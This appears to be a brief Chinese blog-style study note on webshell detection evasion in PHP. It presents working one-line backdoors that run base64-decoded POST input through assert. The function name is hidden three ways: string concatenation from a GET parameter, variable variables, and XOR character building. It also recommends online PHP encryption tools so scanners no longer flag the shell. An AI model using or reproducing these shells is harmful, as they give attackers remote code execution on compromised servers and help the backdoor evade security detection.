根据这个师傅的文章来学习
1.传参带入
<?php
$a = $_GET['a'];
$aa = $a . 'ert';
$aa(base64_decode($_POST['x']));
?>
经过测试在 php5的版本能够实现getshell
并且eval无法实现
2.变量覆盖
<?php
$a = 'b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>
可以通过变量覆盖的方式实现getshell
3.异或运算
<?php
$a=('!'^'@').'ssert';
$a($_POST['x']);
?>
这里我们可以 !^@ = a
4.混淆/加密变异
这里提供网站
Free Online Developer Tools - TOOLFK
php加密|php在线加密|php组件加密|php源码加密|zend加密|ionCube9加密|最好的PHP在线加密工具
将代码存入上面加密后可以发现无法 检测出webshell